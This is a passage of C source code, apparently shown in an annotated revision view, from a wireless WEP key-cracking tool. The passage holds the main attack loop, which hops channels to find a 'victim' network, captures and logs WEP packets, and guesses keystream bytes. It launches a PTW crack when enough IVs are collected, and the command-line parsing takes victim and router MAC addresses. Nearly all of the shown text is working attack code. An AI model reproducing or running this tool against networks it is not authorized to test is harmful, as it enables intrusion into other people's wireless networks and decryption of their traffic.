memcpy(dst, pkt, plen); 2379168502Ssam 2380168502Ssam return plen; 2381168502Ssam} 2382168502Ssam 2383161030Ssamvoid own(int wifd) { 2384161030Ssam unsigned char buf[4096]; 2385161030Ssam int rd; 2386161030Ssam fd_set rfd; 2387161030Ssam struct timeval tv; 2388161030Ssam char *pbar = "/-\\|"; 2389161030Ssam char *pbarp = &pbar[0]; 2390161030Ssam struct timeval lasthop; 2391161030Ssam struct timeval now; 2392161030Ssam unsigned int last_wep_count = 0; 2393161030Ssam struct timeval last_wcount; 2394161030Ssam struct timeval last_status; 2395161030Ssam int fd; 2396161030Ssam int largest; 2397161030Ssam 2398161030Ssam weplog.fd = open(WEP_FILE, O_WRONLY | O_APPEND); 2399161030Ssam if (weplog.fd == -1) { 2400168502Ssam struct pcap_file_header pfh; 2401168502Ssam 2402168502Ssam memset(&pfh, 0, sizeof(pfh)); 2403168502Ssam pfh.magic = TCPDUMP_MAGIC; 2404168502Ssam pfh.version_major = PCAP_VERSION_MAJOR; 2405168502Ssam pfh.version_minor = PCAP_VERSION_MINOR; 2406168502Ssam pfh.thiszone = 0; 2407168502Ssam pfh.sigfigs = 0; 2408168502Ssam pfh.snaplen = 65535; 2409168502Ssam pfh.linktype = LINKTYPE_IEEE802_11; 2410168502Ssam 2411161030Ssam weplog.fd = open(WEP_FILE, O_WRONLY | O_CREAT, 2412161030Ssam S_IRUSR | S_IWUSR | S_IRGRP | S_IROTH); 2413168502Ssam if (weplog.fd != -1) { 2414168502Ssam if (write(weplog.fd, &pfh, sizeof(pfh)) != sizeof(pfh)) 2415168502Ssam err(1, "write()"); 2416168502Ssam } 2417161030Ssam } 2418161030Ssam else { 2419161030Ssam time_print("WARNING: Appending in %s\n", WEP_FILE); 2420161030Ssam } 2421161030Ssam 2422161030Ssam if (weplog.fd == -1) { 2423161030Ssam perror("open()"); 2424161030Ssam exit(1); 2425161030Ssam } 2426161030Ssam 2427161030Ssam fd = open(PRGA_FILE, O_RDONLY); 2428161030Ssam if (fd != -1) { 2429161030Ssam time_print("WARNING: reading prga from %s\n", PRGA_FILE); 2430161030Ssam rd = read(fd, buf, sizeof(buf)); 2431161030Ssam if (rd == -1) { 2432161030Ssam perror("read()"); 2433161030Ssam exit(1); 2434161030Ssam } 2435161030Ssam if (rd >= 8) { 2436161030Ssam set_prga(buf, NULL, &buf[3], rd - 3); 2437161030Ssam } 2438161030Ssam 2439161030Ssam close(fd); 2440161030Ssam } 2441161030Ssam 2442161030Ssam fd = open(DICT_PATH, O_RDONLY); 2443161030Ssam if (fd == -1) { 2444161030Ssam time_print("Creating dictionary directory (%s)\n", DICT_PATH); 2445161030Ssam if (mkdir (DICT_PATH, 0755) == -1) { 2446161030Ssam perror("mkdir()"); 2447161030Ssam exit(1); 2448161030Ssam } 2449161030Ssam } 2450161030Ssam else 2451161030Ssam close(fd); 2452161030Ssam 2453161030Ssam open_tap(); 2454168502Ssam set_if_mac(mymac, tapdev); 2455168502Ssam time_print("Set tap MAC to: %s\n", mac2str(mymac)); 2456161030Ssam 2457161030Ssam if (tapfd > wifd) 2458161030Ssam largest = tapfd; 2459161030Ssam else 2460161030Ssam largest = wifd; 2461161030Ssam 2462161030Ssam if (signal(SIGINT, &cleanup) == SIG_ERR) { 2463161030Ssam perror("signal()"); 2464161030Ssam exit(1); 2465161030Ssam } 2466161030Ssam if (signal (SIGTERM, &cleanup) == SIG_ERR) { 2467161030Ssam perror("signal()"); 2468161030Ssam exit(1); 2469161030Ssam } 2470161030Ssam 2471161030Ssam time_print("Looking for a victim...\n"); 2472161030Ssam if (gettimeofday(&lasthop, NULL) == -1) { 2473161030Ssam perror("gettimeofday()"); 2474161030Ssam exit(1); 2475161030Ssam } 2476161030Ssam 2477161030Ssam memcpy(&last_wcount, &lasthop, sizeof(last_wcount)); 2478161030Ssam memcpy(&last_status, &lasthop, sizeof(last_status)); 2479161030Ssam 2480161030Ssam while (1) { 2481161030Ssam if (gettimeofday(&now, NULL) == -1) { 2482161030Ssam perror("gettimeofday()"); 2483161030Ssam exit(1); 2484161030Ssam } 2485161030Ssam 2486161030Ssam /* check for relay timeout */ 2487161030Ssam if (fragstate.waiting_relay) { 2488161030Ssam int el; 2489161030Ssam 2490161030Ssam el = now.tv_sec - fragstate.last.tv_sec; 2491161030Ssam assert (el >= 0); 2492161030Ssam if (el == 0) { 2493161030Ssam el = now.tv_usec - fragstate.last.tv_usec; 2494161030Ssam } else { 2495161030Ssam el--; 2496161030Ssam 2497161030Ssam el *= 1000*1000; 2498161030Ssam el += 1000*1000 - fragstate.last.tv_usec; 2499161030Ssam el += now.tv_usec; 2500161030Ssam 2501161030Ssam if (el > (1500*1000)) { 2502161030Ssam// printf("\nLAMER timeout\n\n"); 2503161030Ssam free(fragstate.data); 2504161030Ssam fragstate.data = 0; 2505161030Ssam } 2506161030Ssam } 2507161030Ssam } 2508161030Ssam 2509161030Ssam /* check for arp timeout */ 2510161030Ssam if (rtrmac == (unsigned char*) 1) { 2511161030Ssam int el; 2512161030Ssam 2513161030Ssam el = elapsedd(&arpsend, &now); 2514161030Ssam if (el >= (1500*1000)) { 2515161030Ssam rtrmac = 0; 2516161030Ssam } 2517161030Ssam } 2518161030Ssam 2519161030Ssam // status bar 2520161030Ssam if ( (now.tv_sec > last_status.tv_sec ) || 2521161030Ssam ( now.tv_usec - last_status.tv_usec > 100*1000)) { 2522161030Ssam if (crack_pid && (now.tv_sec > last_status.tv_sec)) { 2523161030Ssam check_key(); 2524161030Ssam } 2525161030Ssam if (netip && prgainfo.len >= min_prga && 2526161030Ssam rtrmac > (unsigned char*) 1) { 2527161030Ssam time_print("WEP=%.9d (next crack at %d) IV=%.2x:%.2x:%.2x (rate=%d) \r", 2528161030Ssam weplog.packets, wep_thresh, 2529161030Ssam weplog.iv[0], weplog.iv[1], weplog.iv[2], 2530161030Ssam weplog.rate); 2531161030Ssam fflush(stdout); 2532161030Ssam } 2533161030Ssam else { 2534161030Ssam if (state == FIND_VICTIM) 2535161030Ssam time_print("Chan %.02d %c\r", chaninfo.chan, *pbarp); 2536161030Ssam else if (decryptstate.cipher) { 2537161030Ssam int pos = decryptstate.prgainfo.len - 1; 2538161030Ssam unsigned char prga = decryptstate.prgainfo.prga[pos]; 2539161030Ssam assert(pos); 2540161030Ssam 2541161030Ssam time_print("Guessing PRGA %.2x (IP byte=%d) \r", 2542161030Ssam prga, decryptstate.cipher[pos] ^ prga); 2543161030Ssam } 2544161030Ssam else 2545161030Ssam time_print("%c\r", *pbarp); 2546161030Ssam fflush(stdout); 2547161030Ssam } 2548161030Ssam memcpy(&last_status, &now,sizeof(last_status)); 2549161030Ssam } 2550161030Ssam 2551161030Ssam // check if we are cracking 2552161030Ssam if (crack_pid) { 2553161030Ssam if (now.tv_sec - crack_start.tv_sec >= crack_dur) 2554161030Ssam kill_crack(); 2555161030Ssam } 2556161030Ssam 2557161030Ssam // check TX / retransmit 2558161030Ssam if (txstate.waiting_ack) { 2559161030Ssam unsigned int elapsed = now.tv_sec - 2560161030Ssam txstate.tsent.tv_sec; 2561161030Ssam elapsed *= 1000*1000; 2562161030Ssam elapsed += (now.tv_usec - txstate.tsent.tv_usec); 2563161030Ssam 2564161030Ssam if (elapsed >= ack_timeout) 2565161030Ssam send_frame(wifd, NULL, -1); 2566161030Ssam } 2567161030Ssam 2568161030Ssam // INPUT 2569161030Ssam // select 2570161030Ssam FD_ZERO(&rfd); 2571161030Ssam FD_SET(wifd, &rfd); 2572161030Ssam FD_SET(tapfd, &rfd); 2573161030Ssam tv.tv_sec = 0; 2574161030Ssam tv.tv_usec = 1000*10; 2575161030Ssam rd = select(largest+1, &rfd, NULL, NULL, &tv); 2576161030Ssam if (rd == -1) { 2577161030Ssam perror("select()"); 2578161030Ssam exit(1); 2579161030Ssam } 2580161030Ssam 2581161030Ssam // read 2582161030Ssam if (rd != 0) { 2583161030Ssam // wifi 2584161030Ssam if (FD_ISSET(wifd, &rfd)) { 2585168502Ssam rd = read_packet(wifd, buf, sizeof(buf)); 2586161030Ssam if (rd == 0) 2587161030Ssam return; 2588161030Ssam if (rd == -1) { 2589161030Ssam perror("read()"); 2590161030Ssam exit(1); 2591161030Ssam } 2592161030Ssam 2593161030Ssam pbarp++; 2594161030Ssam if(!(*pbarp)) 2595161030Ssam pbarp = &pbar[0]; 2596161030Ssam // input 2597161030Ssam anal(buf, rd, wifd); 2598161030Ssam } 2599161030Ssam 2600161030Ssam // tap 2601161030Ssam if (FD_ISSET(tapfd, &rfd)) { 2602161030Ssam read_tap(); 2603161030Ssam } 2604161030Ssam } 2605161030Ssam 2606161030Ssam // check state and what we do next. 2607161030Ssam if (state == FIND_VICTIM) { 2608161030Ssam if (now.tv_sec > lasthop.tv_sec || 2609161030Ssam ( (now.tv_usec - lasthop.tv_usec) >= 300*1000 )) { 2610161030Ssam int chan = chaninfo.chan; 2611161030Ssam chan++; 2612161030Ssam 2613168966Ssam if(chan > max_chan) 2614161030Ssam chan = 1; 2615161030Ssam 2616161030Ssam set_chan(chan); 2617161030Ssam memcpy(&lasthop, &now, sizeof(lasthop)); 2618161030Ssam } 2619161030Ssam } else { 2620161030Ssam // check if we need to write something... 2621161030Ssam if (!txstate.waiting_ack) 2622161030Ssam can_write(wifd); 2623161030Ssam 2624161030Ssam // roughly! 2625161030Ssam 2626161030Ssam#ifdef MORE_ACCURATE 2627161030Ssam if ( (now.tv_sec - last_wcount.tv_sec) >= 2) { 2628161030Ssam unsigned int elapsed; 2629161030Ssam int secs; 2630161030Ssam int packetz = weplog.packets - last_wep_count; 2631161030Ssam elapsed = 1000*1000; 2632161030Ssam 2633161030Ssam elapsed -= last_wcount.tv_usec; 2634161030Ssam 2635161030Ssam assert(elapsed >= 0); 2636161030Ssam elapsed += now.tv_usec; 2637161030Ssam 2638161030Ssam secs = now.tv_sec - last_wcount.tv_sec; 2639161030Ssam secs--; 2640161030Ssam if (secs > 0) 2641161030Ssam elapsed += (secs*1000*1000); 2642161030Ssam 2643161030Ssam weplog.rate = (int) 2644161030Ssam ((double)packetz/(elapsed/1000.0/1000.0)); 2645161030Ssam#else 2646161030Ssam if ( now.tv_sec > last_wcount.tv_sec) { 2647161030Ssam weplog.rate = weplog.packets - last_wep_count; 2648161030Ssam#endif 2649161030Ssam last_wep_count = weplog.packets; 2650161030Ssam memcpy(&last_wcount, &now, sizeof(now)); 2651161030Ssam 2652161030Ssam if (wep_thresh != -1 && weplog.packets > wep_thresh) 2653161030Ssam try_crack(); 2654161030Ssam } 2655161030Ssam } 2656161030Ssam } 2657161030Ssam} 2658161030Ssam 2659161030Ssamvoid start(char *dev) { 2660161030Ssam int fd; 2661161030Ssam 2662161030Ssam setup_if(dev); 2663161030Ssam 2664161030Ssam fd = open_bpf(dev, DLT_IEEE802_11_RADIO); 2665161030Ssam 2666168502Ssam ptw = PTW_newattackstate(); 2667168502Ssam if (!ptw) 2668168502Ssam err(1, "PTW_newattackstate()"); 2669168502Ssam 2670161030Ssam own(fd); 2671161030Ssam 2672161030Ssam#if 0 2673161030Ssam { 2674161030Ssam int i; 2675161030Ssam struct timeval tv; 2676161030Ssam set_chan(11); 2677161030Ssam for (i = 0; i < 10; i++) { 2678161030Ssam gettimeofday(&tv, NULL); 2679161030Ssam 2680161030Ssam send_ack(tx); 2681161030Ssam// usleep(500); 2682161030Ssam printf("%lu\n", tv.tv_usec); 2683161030Ssam } 2684161030Ssam } 2685161030Ssam#endif 2686161030Ssam 2687161030Ssam close(fd); 2688161030Ssam} 2689161030Ssam 2690161030Ssamvoid usage(char* pname) { 2691161030Ssam printf("Usage: %s <opts>\n", pname); 2692161030Ssam printf("-h\t\tthis lame message\n"); 2693161030Ssam printf("-i\t\t<iface>\n"); 2694161030Ssam printf("-s\t\t<flood server ip>\n"); 2695161030Ssam printf("-m\t\t<my ip>\n"); 2696161030Ssam printf("-n\t\t<net ip>\n"); 2697161030Ssam printf("-r\t\t<rtr mac>\n"); 2698161030Ssam printf("-a\t\t<mymac>\n"); 2699161030Ssam printf("-c\t\tdo not crack\n"); 2700161030Ssam printf("-p\t\t<min prga>\n"); 2701161030Ssam printf("-4\t\t64 bit key\n"); 2702161030Ssam printf("-v\t\tvictim mac\n"); 2703168966Ssam printf("-t\t\t<crack thresh>\n"); 2704168966Ssam printf("-f\t\t<max chan>\n"); 2705161030Ssam exit(0); 2706161030Ssam} 2707161030Ssam 2708161030Ssamvoid str2mac(unsigned char* dst, unsigned char* mac) { 2709161030Ssam unsigned int macf[6]; 2710161030Ssam int i; 2711161030Ssam 2712161030Ssam if( sscanf(mac, "%x:%x:%x:%x:%x:%x", 2713161030Ssam &macf[0], &macf[1], &macf[2], 2714161030Ssam &macf[3], &macf[4], &macf[5]) != 6) { 2715161030Ssam 2716161030Ssam printf("can't parse mac %s\n", mac); 2717161030Ssam exit(1); 2718161030Ssam } 2719161030Ssam 2720161030Ssam for (i = 0; i < 6; i++) 2721161030Ssam *dst++ = (unsigned char) macf[i]; 2722161030Ssam} 2723161030Ssam 2724161030Ssamint main(int argc, char *argv[]) { 2725161030Ssam unsigned char* dev = "ath0"; 2726161030Ssam unsigned char rtr[6]; 2727161030Ssam unsigned char vic[6]; 2728161030Ssam 2729161030Ssam int ch; 2730161030Ssam 2731161030Ssam if (gettimeofday(&real_start, NULL) == -1) { 2732161030Ssam perror("gettimeofday()"); 2733161030Ssam exit(1); 2734161030Ssam } 2735161030Ssam 2736161030Ssam chaninfo.s = -1; 2737161030Ssam victim.ssid = 0; 2738161030Ssam prgainfo.len = 0; 2739161030Ssam 2740161030Ssam memset(&txstate, 0, sizeof(txstate)); 2741161030Ssam memset(&fragstate, 0, sizeof(fragstate)); 2742161030Ssam memset(&decryptstate, 0, sizeof(decryptstate)); 2743161030Ssam memset(&weplog, 0, sizeof(weplog)); 2744161030Ssam 2745161030Ssam state = FIND_VICTIM; 2746161030Ssam 2747168966Ssam while ((ch = getopt(argc, argv, "hi:s:m:r:a:n:cp:4v:t:f:")) != -1) { 2748161030Ssam switch (ch) { 2749161030Ssam case 'a': 2750161030Ssam str2mac(mymac, optarg); 2751161030Ssam break; 2752161030Ssam 2753161030Ssam case 's': 2754161030Ssam floodip = optarg; 2755161030Ssam break; 2756161030Ssam 2757161030Ssam case 'i': 2758161030Ssam dev = optarg; 2759161030Ssam break; 2760161030Ssam 2761161030Ssam case 'm': 2762161030Ssam strncpy(myip, optarg, sizeof(myip)-1); 2763161030Ssam myip[sizeof(myip)-1] = 0; 2764161030Ssam break; 2765161030Ssam 2766161030Ssam case 'n': 2767161030Ssam netip = optarg; 2768168502Ssam netip_arg = 1; 2769161030Ssam break; 2770161030Ssam 2771161030Ssam case 'r': 2772161030Ssam str2mac(rtr, optarg); 2773161030Ssam rtrmac = rtr; 2774161030Ssam break; 2775161030Ssam 2776161030Ssam case 'v': 2777161030Ssam str2mac(vic, optarg); 2778161030Ssam victim_mac = vic; 2779161030Ssam break; 2780161030Ssam 2781161030Ssam case 'c': 2782161030Ssam wep_thresh = -1; 2783161030Ssam break; 2784161030Ssam 2785161030Ssam case 'p': 2786161030Ssam min_prga = atoi(optarg); 2787161030Ssam break; 2788161030Ssam 2789168966Ssam case 't': 2790168966Ssam thresh_incr = wep_thresh = atoi(optarg); 2791168966Ssam break; 2792168966Ssam 2793168966Ssam case 'f': 2794168966Ssam max_chan = atoi(optarg); 2795168966Ssam break; 2796168966Ssam 2797161030Ssam case '4': 2798161030Ssam bits = 64; 2799161030Ssam break; 2800161030Ssam 2801161030Ssam default: 2802161030Ssam usage(argv[0]); 2803161030Ssam break; 2804161030Ssam } 2805161030Ssam } 2806161030Ssam 2807161030Ssam start(dev); 2808161030Ssam 2809161030Ssam if(chaninfo.s != -1) 2810161030Ssam close(chaninfo.s); 2811161030Ssam if(victim.ssid) 2812161030Ssam free(victim.ssid); 2813161030Ssam exit(0); 2814161030Ssam} 2815